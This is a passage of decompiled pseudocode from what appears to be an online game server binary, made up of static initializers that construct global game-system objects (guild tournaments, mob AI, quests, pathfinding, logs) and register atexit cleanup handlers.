byte_C88F47F = 0; dword_C88F488 = 0; dword_C88F484 = 0; *(_DWORD *)dword_C88F480 = 0; strncpy(dword_C88F480, "GuildT0403", 0xCu); byte_C88F48C = 0; dword_C88F495 = 0; dword_C88F491 = 0; *(_DWORD *)dword_C88F48D = 0; strncpy(dword_C88F48D, "GuildT0404", 0xCu); byte_C88F499 = 0; dword_C88F4A2 = 0; dword_C88F49E = 0; *(_DWORD *)dword_C88F49A = 0; strncpy(dword_C88F49A, "GuildT0405", 0xCu); byte_C88F4A6 = 0; dword_C88F4AF = 0; dword_C88F4AB = 0; *(_DWORD *)dword_C88F4A7 = 0; strncpy(dword_C88F4A7, "GuildT0406", 0xCu); byte_C88F4B3 = 0; dword_C88F4BC = 0; dword_C88F4B8 = 0; *(_DWORD *)dword_C88F4B4 = 0; strncpy(dword_C88F4B4, "GuildT0407", 0xCu); return atexit(_E5_24); } // C88F32D: using guessed type char byte_C88F32D; // C88F332: using guessed type int dword_C88F332; // C88F336: using guessed type int dword_C88F336; // C88F33A: using guessed type char byte_C88F33A; // C88F33F: using guessed type int dword_C88F33F; // C88F343: using guessed type int dword_C88F343; // C88F347: using guessed type char byte_C88F347; // C88F34C: using guessed type int dword_C88F34C; // C88F350: using guessed type int dword_C88F350; // C88F354: using guessed type char byte_C88F354; // C88F359: using guessed type int dword_C88F359; // C88F35D: using guessed type int dword_C88F35D; // C88F361: using guessed type char byte_C88F361; // C88F366: using guessed type int dword_C88F366; // C88F36A: using guessed type int dword_C88F36A; // C88F36E: using guessed type char byte_C88F36E; // C88F373: using guessed type int dword_C88F373; // C88F377: using guessed type int dword_C88F377; // C88F37B: using guessed type char byte_C88F37B; // C88F380: using guessed type int dword_C88F380; // C88F384: using guessed type int dword_C88F384; // C88F388: using guessed type char byte_C88F388; // C88F38D: using guessed type int dword_C88F38D; // C88F391: using guessed type int dword_C88F391; // C88F395: using guessed type char byte_C88F395; // C88F39A: using guessed type int dword_C88F39A; // C88F39E: using guessed type int dword_C88F39E; // C88F3A2: using guessed type char byte_C88F3A2; // C88F3A7: using guessed type int dword_C88F3A7; // C88F3AB: using guessed type int dword_C88F3AB; // C88F3AF: using guessed type char byte_C88F3AF; // C88F3B4: using guessed type int dword_C88F3B4; // C88F3B8: using guessed type int dword_C88F3B8; // C88F3BC: using guessed type char byte_C88F3BC; // C88F3C1: using guessed type int dword_C88F3C1; // C88F3C5: using guessed type int dword_C88F3C5; // C88F3C9: using guessed type char byte_C88F3C9; // C88F3CE: using guessed type int dword_C88F3CE; // C88F3D2: using guessed type int dword_C88F3D2; // C88F3D6: using guessed type char byte_C88F3D6; // C88F3DB: using guessed type int dword_C88F3DB; // C88F3DF: using guessed type int dword_C88F3DF; // C88F3E3: using guessed type char byte_C88F3E3; // C88F3E8: using guessed type int dword_C88F3E8; // C88F3EC: using guessed type int dword_C88F3EC; // C88F3F0: using guessed type char byte_C88F3F0; // C88F3F5: using guessed type int dword_C88F3F5; // C88F3F9: using guessed type int dword_C88F3F9; // C88F3FD: using guessed type char byte_C88F3FD; // C88F402: using guessed type int dword_C88F402; // C88F406: using guessed type int dword_C88F406; // C88F40A: using guessed type char byte_C88F40A; // C88F40F: using guessed type int dword_C88F40F; // C88F413: using guessed type int dword_C88F413; // C88F417: using guessed type char byte_C88F417; // C88F41C: using guessed type int dword_C88F41C; // C88F420: using guessed type int dword_C88F420; // C88F424: using guessed type char byte_C88F424; // C88F429: using guessed type int dword_C88F429; // C88F42D: using guessed type int dword_C88F42D; // C88F431: using guessed type char byte_C88F431; // C88F436: using guessed type int dword_C88F436; // C88F43A: using guessed type int dword_C88F43A; // C88F43E: using guessed type char byte_C88F43E; // C88F443: using guessed type int dword_C88F443; // C88F447: using guessed type int dword_C88F447; // C88F44B: using guessed type char byte_C88F44B; // C88F450: using guessed type int dword_C88F450; // C88F454: using guessed type int dword_C88F454; // C88F458: using guessed type char byte_C88F458; // C88F45D: using guessed type int dword_C88F45D; // C88F461: using guessed type int dword_C88F461; // C88F465: using guessed type char byte_C88F465; // C88F46A: using guessed type int dword_C88F46A; // C88F46E: using guessed type int dword_C88F46E; // C88F472: using guessed type char byte_C88F472; // C88F477: using guessed type int dword_C88F477; // C88F47B: using guessed type int dword_C88F47B; // C88F47F: using guessed type char byte_C88F47F; // C88F484: using guessed type int dword_C88F484; // C88F488: using guessed type int dword_C88F488; // C88F48C: using guessed type char byte_C88F48C; // C88F491: using guessed type int dword_C88F491; // C88F495: using guessed type int dword_C88F495; // C88F499: using guessed type char byte_C88F499; // C88F49E: using guessed type int dword_C88F49E; // C88F4A2: using guessed type int dword_C88F4A2; // C88F4A6: using guessed type char byte_C88F4A6; // C88F4AB: using guessed type int dword_C88F4AB; // C88F4AF: using guessed type int dword_C88F4AF; // C88F4B3: using guessed type char byte_C88F4B3; // C88F4B8: using guessed type int dword_C88F4B8; // C88F4BC: using guessed type int dword_C88F4BC; //----- (0058E440) -------------------------------------------------------- int __cdecl _E7_9() { _eh_vector_constructor_iterator_( &guildtournamentinfo, 0x24u, 32, (void (__thiscall *)(void *))GuildTouramentLoginDataInfo::GuildTouramentLoginDataInfo, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); return atexit(_E8_12); } //----- (0058E470) -------------------------------------------------------- int __cdecl _E3_2() { std::map_std::allocator>>::map_std::allocator>>(&GuildTournamentSystem::sm_mapGuildMemberGrades); return atexit(_E4_63); } //----- (0058E490) -------------------------------------------------------- int __cdecl _E1_9() { signed int v0; // eax@1 v0 = 4096; do { gldwarman.gwm_Array[gldwarman.gwm_Pointer].attacker = 0; --v0; ++gldwarman.gwm_Pointer; } while ( v0 ); return atexit(_E2_9); } //----- (0058E4D0) -------------------------------------------------------- int __cdecl _E4_19() { LevelHandicap4ExperienceDouble::LevelHandicap4ExperienceDouble(&lh4ed); return atexit(_E5_25); } //----- (0058E4F0) -------------------------------------------------------- int __cdecl _E7_10() { return atexit(_E8_13); } //----- (0058E500) -------------------------------------------------------- int __cdecl _E4_20() { MemoryQueue::MemoryQueue(&queue_cenuse); return atexit(_E5_26); } //----- (0058E520) -------------------------------------------------------- int __cdecl _E7_11() { return atexit(_E8_14); } //----- (0058E530) -------------------------------------------------------- int __cdecl _E4_21() { ItemLotAnalyser::LotAnalyser::LotAnalyser(&itemlotanalyser); return atexit(_E5_27); } //----- (0058E550) -------------------------------------------------------- int __cdecl _E7_12() { return atexit(_E8_15); } //----- (0058E560) -------------------------------------------------------- int __cdecl _E10_3() { InventoryLocking::InvenCellReleaser_CenChange::InvenCellReleaser_CenChange(&InventoryLocking::InventoryCellLockList::icll_Releaser_CenChange); return atexit(_E11_12); } //----- (0058E580) -------------------------------------------------------- int __cdecl _E13_1() { InventoryLocking::InvenCellReleaser_FameChange::InvenCellReleaser_FameChange(&InventoryLocking::InventoryCellLockList::icll_Releaser_FameChange); return atexit(_E14_3); } //----- (0058E5A0) -------------------------------------------------------- int __cdecl _E16_1() { InventoryLocking::InvenCellReleaser_CellClear::InvenCellReleaser_CellClear(&InventoryLocking::InventoryCellLockList::icll_Releaser_CellClear); return atexit(_E17_7); } //----- (0058E5C0) -------------------------------------------------------- int __cdecl _E19_0() { InventoryLocking::InvenCellReleaser_CellChange::InvenCellReleaser_CellChange(&InventoryLocking::InventoryCellLockList::icll_Releaser_CellChange); return atexit(_E20_2); } //----- (0058E5E0) -------------------------------------------------------- int __cdecl _E22() { InventoryLocking::InvenCellReleaser_EquipLocation::InvenCellReleaser_EquipLocation(&InventoryLocking::InventoryCellLockList::icll_Releaser_EquipLocation); return atexit(_E23_3); } //----- (0058E600) -------------------------------------------------------- int __cdecl _E25() { InventoryLocking::InvenCellReleaser_ItemUse::InvenCellReleaser_ItemUse(&InventoryLocking::InventoryCellLockList::icll_Releaser_ItemUse); return atexit(_E26_1); } //----- (0058E620) -------------------------------------------------------- int __cdecl _E28() { InventoryLocking::InvenCellReleaser_PointStone::InvenCellReleaser_PointStone(&InventoryLocking::InventoryCellLockList::icll_Releaser_PointStone); return atexit(_E29_2); } //----- (0058E640) -------------------------------------------------------- int __cdecl _E31() { InventoryLocking::InvenCellReleaser_QuestReward::InvenCellReleaser_QuestReward(&InventoryLocking::InventoryCellLockList::icll_Releaser_QuestReward); return atexit(_E32_1); } //----- (0058E660) -------------------------------------------------------- int __cdecl _E34() { InventoryLocking::InvenCellReleaser_GuildStorageClear::InvenCellReleaser_GuildStorageClear(&InventoryLocking::InventoryCellLockList::icll_Releaser_GuildStorageClear); return atexit(_E35_0); } //----- (0058E680) -------------------------------------------------------- int __cdecl _E37() { InventoryLocking::InvenCellReleaser_CellChangeSmall::InvenCellReleaser_CellChangeSmall(&InventoryLocking::InventoryCellLockList::icll_Releaser_CellChangeSmall); return atexit(_E38_0); } //----- (0058E6A0) -------------------------------------------------------- int __cdecl _E40() { InventoryLocking::InvenCellReleaser_GuildStorageChange::InvenCellReleaser_GuildStorageChange(&InventoryLocking::InventoryCellLockList::icll_Releaser_GuildStorageChange); return atexit(_E41); } //----- (0058E6C0) -------------------------------------------------------- int __cdecl _E43() { InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageRelocClear::InvenCellReleaser_GuildAcademyRewardStorageRelocClear(&InventoryLocking::InventoryCellLockList::icll_Releaser_GuildAcademyRewardStorageRelocClear); return atexit(_E44_0); } //----- (0058E6E0) -------------------------------------------------------- int __cdecl _E46() { InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageRelocClear::InvenCellReleaser_GuildAcademyRewardStorageRelocClear(&InventoryLocking::InventoryCellLockList::icll_Releaser_GuildAcademyRewardStorageWithdrawClear); return atexit(_E47_0); } //----- (0058E700) -------------------------------------------------------- int __cdecl _E49() { InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageChange::InvenCellReleaser_GuildAcademyRewardStorageChange(&InventoryLocking::InventoryCellLockList::icll_Releaser_GuildAcademyRewardStorageChange); return atexit(_E50); } //----- (0058E720) -------------------------------------------------------- int __cdecl _E52() { InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageChange::InvenCellReleaser_GuildAcademyRewardStorageChange(&InventoryLocking::InventoryCellLockList::icll_Releaser_GuildAcademyRewardStorageReloc); return atexit(_E53_0); } //----- (0058E740) -------------------------------------------------------- int __cdecl _E55() { InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageInfoZoneRng::InvenCellReleaser_GuildAcademyRewardStorageInfoZoneRng(&InventoryLocking::InventoryCellLockList::icll_Releaser_GuildAcademyRewardStorageInfoZoneRng); return atexit(_E56_0); } //----- (0058E760) -------------------------------------------------------- int __cdecl _E58() { InventoryLocking::InvenCellReleaser_FurnitureReloc::InvenCellReleaser_FurnitureReloc(&InventoryLocking::InventoryCellLockList::icll_Releaser_FurnitureReloc); return atexit(_E59_0); } //----- (0058E780) -------------------------------------------------------- int __cdecl _E61() { InventoryLocking::InvenCellReleaser_FurnitureCellClear::InvenCellReleaser_FurnitureCellClear(&InventoryLocking::InventoryCellLockList::icll_Releaser_FurnitureCellClear); return atexit(_E62_0); } //----- (0058E7A0) -------------------------------------------------------- int __cdecl _E64() { InventoryLocking::InvenCellReleaser_LinkInfo::InvenCellReleaser_LinkInfo(&InventoryLocking::InventoryCellLockList::icll_Releaser_LinkInfo); return atexit(_E65_0); } //----- (0058E7C0) -------------------------------------------------------- int __cdecl _E3_3() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("ItemDropFromMobLog"); return atexit(_E4_64); } //----- (0058E810) -------------------------------------------------------- int __cdecl _E8_0() { ItemDropFromMob::DropGroupCluster::DropGroupCluster(&dropgroupcluster); return atexit(_E9_11); } //----- (0058E830) -------------------------------------------------------- int __cdecl _E11_0() { ItemDropFromMob::DropIndexCluster::DropIndexCluster(&dropindexcluster); return atexit(_E12_5); } //----- (0058E850) -------------------------------------------------------- int __cdecl _E16_2() { return atexit(_E17_8); } //----- (0058E860) -------------------------------------------------------- int __cdecl _E1_10() { ItemGroupClassifier::ItemGroupClassifier(&itemgroupclassifier); return atexit(_E2_10); } //----- (0058E880) -------------------------------------------------------- int __cdecl _E4_22() { return atexit(_E5_28); } //----- (0058E890) -------------------------------------------------------- int __cdecl _E1_11() { ItemRandomOption::RandomOptionTable::RandomOptionTable(&itemrandomoptiontable); return atexit(_E2_11); } //----- (0058E8B0) -------------------------------------------------------- int __cdecl _E3_4() { ItemsInChest::ItemsInChest(&itemsinchest); return atexit(_E4_65); } //----- (0058E8D0) -------------------------------------------------------- int __cdecl _E3_5() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"KQEntryCheckLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&KQEntryCheckLog - "KQEntryCheckLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); KQEntryCheckLog.dl_FilePointer = 0; EraseOldLogList("KQEntryCheckLog"); KQEntryCheckLog.dl_Activ = 1; return atexit(_E4_66); } //----- (0058E920) -------------------------------------------------------- int __cdecl _E6() { strncpy(KingSlime, "KDEddyHill00", 0xCu); return atexit(_E7_39); } //----- (0058E940) -------------------------------------------------------- int __cdecl _E9() { KingdomQuest::KingdomQuestContainer::KingdomQuestContainer(&kqcontainer); return atexit(_E10_19); } //----- (0058E960) -------------------------------------------------------- int __cdecl _E18() { KingdomQuestEntrance::KingdomQuestEntrance(&kqentrance); return atexit(_E19_12); } //----- (0058E980) -------------------------------------------------------- int __cdecl _E23_0() { KingdomQuestGate::KingdomQuestGate(&kqgate); return atexit(_E24_3); } //----- (0058E9A0) -------------------------------------------------------- int __cdecl _E4_23() { KQContribute::KQContributeList::KQContributeList((KQContribute::KQContributeList *)&g_KQContributeList); return atexit(_E5_29); } //----- (0058E9C0) -------------------------------------------------------- int __cdecl _E1_12() { KQRewardDataBox::KQRewardDataBox(&kqreward); return atexit(_E2_12); } //----- (0058E9E0) -------------------------------------------------------- int __cdecl _E1_13() { return atexit(_E2_13); } //----- (0058E9F0) -------------------------------------------------------- int __cdecl _E4_24() { return atexit(_E5_30); } //----- (0058EA00) -------------------------------------------------------- int __cdecl _E7_13() { return atexit(_E8_17); } //----- (0058EA10) -------------------------------------------------------- int __cdecl _E4_25() { RecallPointTable::RecallPointTable((ShineScript *)&magiccontainer); return atexit(_E5_31); } //----- (0058EA30) -------------------------------------------------------- int __cdecl _E7_14() { return atexit(_E8_18); } //----- (0058EA40) -------------------------------------------------------- int __cdecl _E10_4() { return atexit(_E11_13); } //----- (0058EA50) -------------------------------------------------------- int __cdecl _E1_14() { CFindWay::CFindWay(&findway); return atexit(_E2_14); } //----- (0058EA70) -------------------------------------------------------- int __cdecl _E4_26() { MapBlock::MapBlockInformationBox::MapBlockInformationBox(&blockinfobox); return atexit(_E5_32); } //----- (0058EA90) -------------------------------------------------------- int __cdecl _E3_6() { MapClusterManager::ClusterManager::ClusterManager(&mapclustermanager); return atexit(_E4_67); } //----- (0058EAB0) -------------------------------------------------------- int __cdecl _E7_15() { TownPortalData::TownPortalData(&townportaldata); return atexit(_E8_19); } //----- (0058EAD0) -------------------------------------------------------- int __cdecl _E3_7() { MiniHouseEndureDataBox::MiniHouseEndureDataBox(&minihouseenduredatabox); return atexit(_E4_68); } //----- (0058EAF0) -------------------------------------------------------- int __cdecl _E3_8() { MiniHouseObjAniDataBox::MiniHouseObjAniDataBox(&minihouseobjanidatabox); return atexit(_E4_69); } //----- (0058EB10) -------------------------------------------------------- int __cdecl _E4_27() { dword_CB4F878 = 0; dword_CB4F87C = 0; dword_CB4F880 = 0; dword_CB4F884 = 0; dword_CB4F888 = 0; dword_CB4F88C = 0; dword_CB4F890 = 0; dword_CB4F894 = 0; dword_CB4F898 = 0; dword_CB4F89C = 0; dword_CB4F8A0 = 0; dword_CB4F8A4 = 0; dword_CB4F8A8 = 0; dword_CB4F8AC = 0; word_CB4F8B0 = 0; MiscDataTable::mdt_DefSkill = -1; word_CB4F862 = -1; word_CB4F874 = -1; byte_CB4F876 = 0; byte_CB4F877 = 0; dword_CB4F8B4 = 0; byte_CB4F8B8 &= 0xFEu; word_CB4F8CC = 0; dword_CB4F8BC = 0; dword_CB4F8C8 = 0; MiscDataTable::mdt_DefAbState = -1; byte_CB4F8D6 = 0; dword_CB4F8D8 = 0; dword_CB4F8DC = 0; return atexit(_E5_33); } // CB4F860: using guessed type __int16 MiscDataTable__mdt_DefSkill; // CB4F862: using guessed type __int16 word_CB4F862; // CB4F874: using guessed type __int16 word_CB4F874; // CB4F876: using guessed type char byte_CB4F876; // CB4F877: using guessed type char byte_CB4F877; // CB4F878: using guessed type int dword_CB4F878; // CB4F87C: using guessed type int dword_CB4F87C; // CB4F880: using guessed type int dword_CB4F880; // CB4F884: using guessed type int dword_CB4F884; // CB4F888: using guessed type int dword_CB4F888; // CB4F88C: using guessed type int dword_CB4F88C; // CB4F890: using guessed type int dword_CB4F890; // CB4F894: using guessed type int dword_CB4F894; // CB4F898: using guessed type int dword_CB4F898; // CB4F89C: using guessed type int dword_CB4F89C; // CB4F8A0: using guessed type int dword_CB4F8A0; // CB4F8A4: using guessed type int dword_CB4F8A4; // CB4F8A8: using guessed type int dword_CB4F8A8; // CB4F8AC: using guessed type int dword_CB4F8AC; // CB4F8B0: using guessed type __int16 word_CB4F8B0; // CB4F8B4: using guessed type int dword_CB4F8B4; // CB4F8B8: using guessed type char byte_CB4F8B8; // CB4F8BC: using guessed type int dword_CB4F8BC; // CB4F8C8: using guessed type int dword_CB4F8C8; // CB4F8CC: using guessed type __int16 word_CB4F8CC; // CB4F8D4: using guessed type __int16 MiscDataTable__mdt_DefAbState; // CB4F8D6: using guessed type char byte_CB4F8D6; // CB4F8D8: using guessed type int dword_CB4F8D8; // CB4F8DC: using guessed type int dword_CB4F8DC; //----- (0058EBE0) -------------------------------------------------------- int __cdecl _E7_16() { return atexit(_E8_20); } //----- (0058EBF0) -------------------------------------------------------- int __cdecl _E10_5() { MobExplosionElement::MobExplosionEnemy::MobExplosionEnemy(&mobexploseenemy); return atexit(_E11_15); } //----- (0058EC10) -------------------------------------------------------- int __cdecl _E13_2() { MobExplosionElement::MobExplosionTarget::MobExplosionTarget(&mobexplosetarget); return atexit(_E14_4); } //----- (0058EC30) -------------------------------------------------------- int __cdecl _E16_3() { MobExplosionElement::MobExplosionAlways::MobExplosionAlways(&mobexplosealways); return atexit(_E17_9); } //----- (0058EC50) -------------------------------------------------------- int __cdecl _E4_28() { MobAttackSequence::MobAttackSequence(&mobattseq); return atexit(_E5_34); } //----- (0058EC70) -------------------------------------------------------- int __cdecl _E4_29() { MobTargetEraser::MobTargetEraser(&mobtargeteraser); return atexit(_E5_35); } //----- (0058EC90) -------------------------------------------------------- int __cdecl _E4_30() { MobChat::MobChatManager::MobChatManager(&mobchatman); return atexit(_E5_36); } //----- (0058ECB0) -------------------------------------------------------- int __cdecl _E4_31() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"NPCDeadLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&NPCDeadLog - "NPCDeadLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); NPCDeadLog.dl_FilePointer = 0; EraseOldLogList("NPCDeadLog"); NPCDeadLog.dl_Activ = 1; return atexit(_E5_37); } //----- (0058ED00) -------------------------------------------------------- int __cdecl _E7_17() { MobActionElement::MobActionElement(&ShineObjectClass::ShineMob::defaction); return atexit(_E8_21); } //----- (0058ED20) -------------------------------------------------------- int __cdecl _E10_6() { KQRegenTable::KQRegenTable(&kqregentable); return atexit(_E11_16); } //----- (0058ED40) -------------------------------------------------------- int __cdecl _E13_3() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"MobHatcheryLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&MobHatcheryLog - "MobHatcheryLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); MobHatcheryLog.dl_FilePointer = 0; EraseOldLogList("MobHatcheryLog"); MobHatcheryLog.dl_Activ = 1; return atexit(_E14_5); } //----- (0058ED90) -------------------------------------------------------- int __cdecl _E16_4() { NPCAction::Manager::Manager((AbnormalStateShelter::AbstateShelter *)&g_FamilyMobManager); return atexit(_E17_10); } //----- (0058EDB0) -------------------------------------------------------- int __cdecl _E3_9() { MobRoaming::MobRoamingSet::MobRoamingSet(&roamingpaths); return atexit(_E4_70); } //----- (0058EDD0) -------------------------------------------------------- int __cdecl _E6_0() { MobRoaming::MobsInRoaming::MobsInRoaming((MobRoaming::MobsInRoaming *)&mobinroam); return atexit(_E7_40); } //----- (0058EDF0) -------------------------------------------------------- int __cdecl _E4_32() { return atexit(_E5_38); } //----- (0058EE00) -------------------------------------------------------- int __cdecl _E7_18() { MobTacticElement::MobActionTargetting::MobActionTargetting(&MobTacticElement::MobActionArgument::Actor::targetting); return atexit(_E8_22); } //----- (0058EE20) -------------------------------------------------------- int __cdecl _E10_7() { MobTacticElement::MobAction2Region::MobAction2Region(&MobTacticElement::MobActionArgument::Actor::toregion); return atexit(_E11_17); } //----- (0058EE40) -------------------------------------------------------- int __cdecl _E13_4() { MobTacticElement::MobActionRoaming::MobActionRoaming(&MobTacticElement::MobActionArgument::Actor::roaming); return atexit(_E14_6); } //----- (0058EE60) -------------------------------------------------------- int __cdecl _E16_5() { MobTacticElement::MobActionNoBrain::MobActionNoBrain(&MobTacticElement::MobActionArgument::Actor::nobrain); return atexit(_E17_11); } //----- (0058EE80) -------------------------------------------------------- int __cdecl _E19_1() { MobTacticElement::DuringReturn2Regen::DuringReturn2Regen(&MobTacticElement::MobActionArgument::Actor::return2regen); return atexit(_E20_3); } //----- (0058EEA0) -------------------------------------------------------- int __cdecl _E22_0() { Navigator::MapNavigator::MapNavigator(&navi, 500, 8); return atexit(_E23_4); } //----- (0058EEC0) -------------------------------------------------------- int __cdecl _E25_0() { StaticVector::StaticVector( (StaticVector *)&Navigator::MapNavigator::nm_UnitPointList, 64); return atexit(_E26_2); } //----- (0058EEE0) -------------------------------------------------------- int __cdecl _E1_15() { NPCItemList::NPCItemListTable::NPCItemListTable(&npcitemlist); return atexit(_E2_15); } //----- (0058EF00) -------------------------------------------------------- int __cdecl _E4_33() { NPCRoleBase::NPCRoleBase(&npcrolebase, 0); return atexit(_E5_40); } //----- (0058EF20) -------------------------------------------------------- int __cdecl _E7_19() { NPCManager::NPCManager(&npcmanager); return atexit(_E8_23); } //----- (0058EF40) -------------------------------------------------------- int __cdecl _E10_8() { MerchantCityData::MerchantCityData(&merchantcity); return atexit(_E11_19); } //----- (0058EF60) -------------------------------------------------------- int __cdecl _E3_10() { OPToolList::OPToolList((OPToolList *)&optoollist); return atexit(_E4_71); } //----- (0058EF80) -------------------------------------------------------- int __cdecl _E6_1() { OPToolSession::OPToolSession((OPToolSession *)&optoolsock); return atexit(_E7_42); } //----- (0058EFA0) -------------------------------------------------------- int __cdecl _E4_34() { GlobalProtocolPacket::GlobalProtocolPacket((GlobalProtocolPacket *)&gpp); return atexit(_E5_41); } //----- (0058EFC0) -------------------------------------------------------- int __cdecl _E7_20() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"TooLongPacket"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&TooLongPacket - "TooLongPacket" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); TooLongPacket.dl_FilePointer = 0; EraseOldLogList("TooLongPacket"); TooLongPacket.dl_Activ = 1; return atexit(_E8_24); } //----- (0058F010) -------------------------------------------------------- int __cdecl _E10_9() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"ExceptionLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)(&ExceptionLog - (_UNKNOWN *)"ExceptionLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); dword_CBE1250 = 0; EraseOldLogList("ExceptionLog"); byte_CBE13D4 = 1; return atexit(_E11_20); } // CBE1250: using guessed type int dword_CBE1250; // CBE13D4: using guessed type char byte_CBE13D4; //----- (0058F060) -------------------------------------------------------- int __cdecl _E1_16() { ShineCommonParameter::ShineCommonParameter(&shineparam); return atexit(_E2_16); } //----- (0058F080) -------------------------------------------------------- int __cdecl _E4_35() { CParty::CParty(&partycontainer); return atexit(_E5_42); } //----- (0058F0A0) -------------------------------------------------------- int __cdecl _E7_21() { return atexit(_E8_25); } //----- (0058F0B0) -------------------------------------------------------- int __cdecl _E1_17() { return atexit(_E2_17); } //----- (0058F0C0) -------------------------------------------------------- int __cdecl _E4_36() { JunctionPointContainer::JunctionPointContainer(&junctionpointlist); return atexit(_E5_43); } //----- (0058F0E0) -------------------------------------------------------- int __cdecl _E7_22() { LinearStep::LinearStep(&linestep); return atexit(_E8_26); } //----- (0058F100) -------------------------------------------------------- int __cdecl _E10_10() { CellStack::CellStack(&cellstack); return atexit(_E11_21); } //----- (0058F120) -------------------------------------------------------- int __cdecl _E13_5() { PathFindTable::PathFindTable(&pathfindtable); return atexit(_E14_8); } //----- (0058F140) -------------------------------------------------------- int __cdecl _E1_18() { PerformanceChecker::PerformanceChecker(&performancechech); return atexit(_E2_18); } //----- (0058F160) -------------------------------------------------------- int __cdecl _E3_11() { char *v0; // eax@1 v0 = (char *)gdsprotofunc.4100; do { *(_DWORD *)v0 = gdsprotofunc.4356; v0 += 4; } while ( (signed int)v0 < (signed int)&gdsprotofunc.4356 ); memset32(gdsprotofunc.pft_funcpnt, (int)gdsprotofunc.4100, 0x400u); return atexit(_E4_73); } //----- (0058F1A0) -------------------------------------------------------- int __cdecl _E3_12() { char *v0; // eax@1 v0 = (char *)shineprotofunc.4100; do { *(_DWORD *)v0 = shineprotofunc.4356; v0 += 4; } while ( (signed int)v0 < (signed int)&shineprotofunc.4356 ); memset32(shineprotofunc.pft_funcpnt, (int)shineprotofunc.4100, 0x400u); return atexit(_E4_74); } //----- (0058F1E0) -------------------------------------------------------- int __cdecl _E3_13() { char *v0; // eax@1 v0 = (char *)glsprotofunc.4100; do { *(_DWORD *)v0 = glsprotofunc.4356; v0 += 4; } while ( (signed int)v0 < (signed int)&glsprotofunc.4356 ); memset32(glsprotofunc.pft_funcpnt, (int)glsprotofunc.4100, 0x400u); return atexit(_E4_75); } //----- (0058F220) -------------------------------------------------------- int __cdecl _E3_14() { char *v0; // eax@1 v0 = (char *)optsprotofunc.this; do { *(_DWORD *)v0 = optsprotofunc.4356; v0 += 4; } while ( (signed int)v0 < (signed int)&optsprotofunc.4356 ); memset32(optsprotofunc.pft_funcpnt, (int)optsprotofunc.this, 0x400u); return atexit(_E4_76); } //----- (0058F260) -------------------------------------------------------- int __cdecl _E3_15() { char *v0; // eax@1 v0 = (char *)wldmanprotofunc.4100; do { *(_DWORD *)v0 = wldmanprotofunc.4356; v0 += 4; } while ( (signed int)v0 < (signed int)&wldmanprotofunc.4356 ); memset32(wldmanprotofunc.pft_funcpnt, (int)wldmanprotofunc.4100, 0x400u); return atexit(_E4_77); } //----- (0058F2A0) -------------------------------------------------------- int __cdecl _E3_16() { char *v0; // eax@1 v0 = (char *)zlsprotofunc.this; do { *(_DWORD *)v0 = zlsprotofunc.4356; v0 += 4; } while ( (signed int)v0 < (signed int)&zlsprotofunc.4356 ); memset32(zlsprotofunc.pft_funcpnt, (int)zlsprotofunc.this, 0x400u); return atexit(_E4_78); } //----- (0058F2E0) -------------------------------------------------------- int __cdecl _E3_17() { PineEventScriptNode::StatementList::StatementList(&ps_statementlist); return atexit(_E4_79); } //----- (0058F300) -------------------------------------------------------- int __cdecl _E6_2() { return atexit(_E7_43); } //----- (0058F310) -------------------------------------------------------- int __cdecl _E9_0() { return atexit(_E10_20); } //----- (0058F320) -------------------------------------------------------- int __cdecl _E12() { return atexit(_E13_19); } //----- (0058F330) -------------------------------------------------------- int __cdecl _E15() { PineEventScriptNode::SysFuncRand::SysFuncRand(&sysfuncrand); return atexit(_E16_14); } //----- (0058F350) -------------------------------------------------------- int __cdecl _E18_0() { PineEventScriptNode::SysFuncSQRT::SysFuncSQRT(&sysfuncsqrt); return atexit(_E19_13); } //----- (0058F370) -------------------------------------------------------- int __cdecl _E21() { PineEventScriptNode::SysFuncDistance::SysFuncDistance(&sysfuncdistance); return atexit(_E22_9); } //----- (0058F390) -------------------------------------------------------- int __cdecl _E24() { PineEventScriptNode::SysFuncShineMobRegen::SysFuncShineMobRegen(&sysfuncshinemobregen); return atexit(_E25_9); } //----- (0058F3B0) -------------------------------------------------------- int __cdecl _E27() { PineEventScriptNode::SysFuncShineDoorBuild::SysFuncShineDoorBuild(&sysfuncshinedoorbuild); return atexit(_E28_7); } //----- (0058F3D0) -------------------------------------------------------- int __cdecl _E30() { PineEventScriptNode::SysFuncShineNPCStand::SysFuncShineNPCStand(&sysfuncshinenpcstand); return atexit(_E31_8); } //----- (0058F3F0) -------------------------------------------------------- int __cdecl _E33() { PineEventScriptNode::SysFuncShineChange2Mob::SysFuncShineChange2Mob(&sysfuncshinechange2mob); return atexit(_E34_6); } //----- (0058F410) -------------------------------------------------------- int __cdecl _E36() { PineEventScriptNode::SysFuncShineChange2Door::SysFuncShineChange2Door(&sysfuncshinechange2door); return atexit(_E37_5); } //----- (0058F430) -------------------------------------------------------- int __cdecl _E39() { PineEventScriptNode::SysFuncShineChange2NPC::SysFuncShineChange2NPC(&sysfuncshinechange2npc); return atexit(_E40_5); } //----- (0058F450) -------------------------------------------------------- int __cdecl _E42() { PineEventScriptNode::SysFuncShineCount::SysFuncShineCount(&sysfuncshinecount); return atexit(_E43_5); } //----- (0058F470) -------------------------------------------------------- int __cdecl _E45() { PineEventScriptNode::SysFuncShineRestSecond::SysFuncShineRestSecond(&sysfuncshinerestsec); return atexit(_E46_6); } //----- (0058F490) -------------------------------------------------------- int __cdecl _E48() { 